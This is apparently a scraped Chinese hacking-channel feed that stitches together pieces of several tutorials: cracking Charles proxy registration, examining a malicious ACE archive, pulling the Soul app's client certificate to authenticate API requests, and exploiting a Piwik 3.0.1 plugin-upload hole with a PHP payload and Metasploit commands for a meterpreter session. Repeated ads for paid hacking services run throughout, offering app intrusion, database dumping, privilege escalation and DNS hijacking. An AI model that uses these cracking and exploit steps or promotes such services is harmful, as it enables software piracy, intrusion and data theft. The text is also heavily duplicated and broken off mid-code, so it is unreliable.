首先打开软件(版本为v4.2.8),未注册时需要等待10s的动画才可进入,而且30分钟后会退出软件。
打开Help->Register Charles…,看到注册界面。
使用jadx-gui打开charles.jar,搜索字符串Register Charles,定位到com.xk72.charles.gui.frames.RegisterFrame中。
其中一段代码:
this.bRegister.addActionListener(new NBdE(this));
可以看到注册按钮绑定的事件,当按下注册按钮时,执行new NBdE(this)。
跟进到com.xk72.charles.gui.frames.NBdE
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
打开Help->Register Charles…,看到注册界面。
使用jadx-gui打开charles.jar,搜索字符串Register Charles,定位到com.xk72.charles.gui.frames.RegisterFrame中。
其中一段代码:
this.bRegister.addActionListener(new NBdE(this));
可以看到注册按钮绑定的事件,当按下注册按钮时,执行new NBdE(this)。
跟进到com.xk72.charles.gui.frames.NBdE
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1👍1
由之前的推断可以知道,当qHTb.DdNM(str1, str2)=null时注册成功,这里DdNM(String str1,String str2)函数中如果正常执行twLa = new qHTb(str, str2);则会返回null,否则返回异常的信息。所以需要看twLa = new qHTb(str, str2);是否抛出异常,如果未异常,则返回为null,即注册成功;反之,注册失败。
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1👍1
因此要使注册成功,首先需要twLa(String str,String str2, int i)在调用的时候无异常,并且需要DdNM(long j)返回为true。
由以上代码可知,当j=lGuB时,返回为true。lGuB为已知常量。即需要满足j=5911726755176091652L;时,DdNM(long j)返回为true。
接下来看twLa(String str,String str2, int i)。
由以上代码可知,当j=lGuB时,返回为true。lGuB为已知常量。即需要满足j=5911726755176091652L;时,DdNM(long j)返回为true。
接下来看twLa(String str,String str2, int i)。
❤1👍1
由于jadx-gui查看twLa未反编译完全,为了查看方便,这里用Idea打开。
twLa方法的三个参数,var1是注册的name,var2是注册的key,var3是4.
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
twLa方法的三个参数,var1是注册的name,var2是注册的key,var3是4.
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤2👍1
然后我们下载acefile.py脚本。
使用命令python acefile.py --headers liehu.ace来读取该文件头信息。
根据漏洞的描述,问题是出现在filename中的。那主要就看下面的header吧。
用010Editor打开该文件。
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
使用命令python acefile.py --headers liehu.ace来读取该文件头信息。
根据漏洞的描述,问题是出现在filename中的。那主要就看下面的header吧。
用010Editor打开该文件。
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤2👍1
利用soulApp中的证书和密码生成浏览器证书。
openssl pkcs12 -export -inkey client.key -in client.crt -out soulclient.pfx
证书的位置位于资源文件assets中。
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
openssl pkcs12 -export -inkey client.key -in client.crt -out soulclient.pfx
证书的位置位于资源文件assets中。
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1👍1
利用程序完成认证
利用程序的话,参考cn.soulapp.android.api.e.a()方法,进行证书的操作。
然后利用httpclient进行http请求。
当访问不加证书的效果:
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
利用程序的话,参考cn.soulapp.android.api.e.a()方法,进行证书的操作。
然后利用httpclient进行http请求。
当访问不加证书的效果:
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤2👍1
将下载下来的程序源码解压到phpStudy下的WWW目录。这里我项目名字为piwik-3.0.1。
在piwik-3.0.1目录下执行composer install命令来安装项目所依赖的代码库。
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
在piwik-3.0.1目录下执行composer install命令来安装项目所依赖的代码库。
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤2
Q:Payload中除了install()方法还可以写其他方法吗?
A:可以的。例如还有uninstall/deactivate/activate等方法,分别在卸载插件/关闭插件/激活插件的时候调用。例如如下的代码:
<?php
namespace Piwik\Plugins\ff;
class ff extends \Piwik\Plugin {
public function install()//安装插件,执行一次
{
$myfile = fopen("install.txt", "w") or die("Unable to open file!");
$content = "install ...";
fwrite($myfile, $content);
}
public function uninstall()//卸载插件,执行一次
{
$myfile = fopen("uninstall.txt", "w") or die("Unable to open file!");
$content = "uninstall ...";
fwrite($myfile, $content);
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
A:可以的。例如还有uninstall/deactivate/activate等方法,分别在卸载插件/关闭插件/激活插件的时候调用。例如如下的代码:
<?php
namespace Piwik\Plugins\ff;
class ff extends \Piwik\Plugin {
public function install()//安装插件,执行一次
{
$myfile = fopen("install.txt", "w") or die("Unable to open file!");
$content = "install ...";
fwrite($myfile, $content);
}
public function uninstall()//卸载插件,执行一次
{
$myfile = fopen("uninstall.txt", "w") or die("Unable to open file!");
$content = "uninstall ...";
fwrite($myfile, $content);
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤2👍1
漏洞产生原因及PayLoad的编写
Piwik默认在3.0.3之前允许自定义插件上传,当插件被激活时,install方法会被调用,会执行其中编写的PayLoad。
如果我们编写一个名字叫做pwned的插件,其文件结构为:
pwned/
pwned/pwned.php
pwned/plugin.json
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
Piwik默认在3.0.3之前允许自定义插件上传,当插件被激活时,install方法会被调用,会执行其中编写的PayLoad。
如果我们编写一个名字叫做pwned的插件,其文件结构为:
pwned/
pwned/pwned.php
pwned/plugin.json
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1👍1
第三次的入参为我们前面的盐加上第二次 sha1 算法加密的返回的结果。
第三次返回的结果为 0ae492780a1e7aefafa23efae2357faafc98af51。
第三次返回的结果为 0ae492780a1e7aefafa23efae2357faafc98af51。
❤1👍1
.利用Metasploit生成meterpreter会话
上面的结果是写入了WEBSHELL,也可以采用piwik_superuser_plugin_upload直接生成一个meterpreter会话。
msf > use exploit/unix/webapp/piwik_superuser_plugin_upload
msf exploit(piwik_superuser_plugin_upload) >
msf exploit(piwik_superuser_plugin_upload) > set PASSWORD admin888
PASSWORD => admin888
msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.217.1
RHOST => 192.168.217.1
msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik-3.0.1/
TARGETURI => /piwik-3.0.1/
msf exploit(piwik_superuser_plugin_upload) > set USERNAME admin
USERNAME => admin
msf exploit(piwik_superuser_plugin_upload) > exploit
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
上面的结果是写入了WEBSHELL,也可以采用piwik_superuser_plugin_upload直接生成一个meterpreter会话。
msf > use exploit/unix/webapp/piwik_superuser_plugin_upload
msf exploit(piwik_superuser_plugin_upload) >
msf exploit(piwik_superuser_plugin_upload) > set PASSWORD admin888
PASSWORD => admin888
msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.217.1
RHOST => 192.168.217.1
msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik-3.0.1/
TARGETURI => /piwik-3.0.1/
msf exploit(piwik_superuser_plugin_upload) > set USERNAME admin
USERNAME => admin
msf exploit(piwik_superuser_plugin_upload) > exploit
金融股民渗透国内app,海外网站app,入侵后台,说裤数据库,dns持服务器进入等等
接渗透拿站,各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1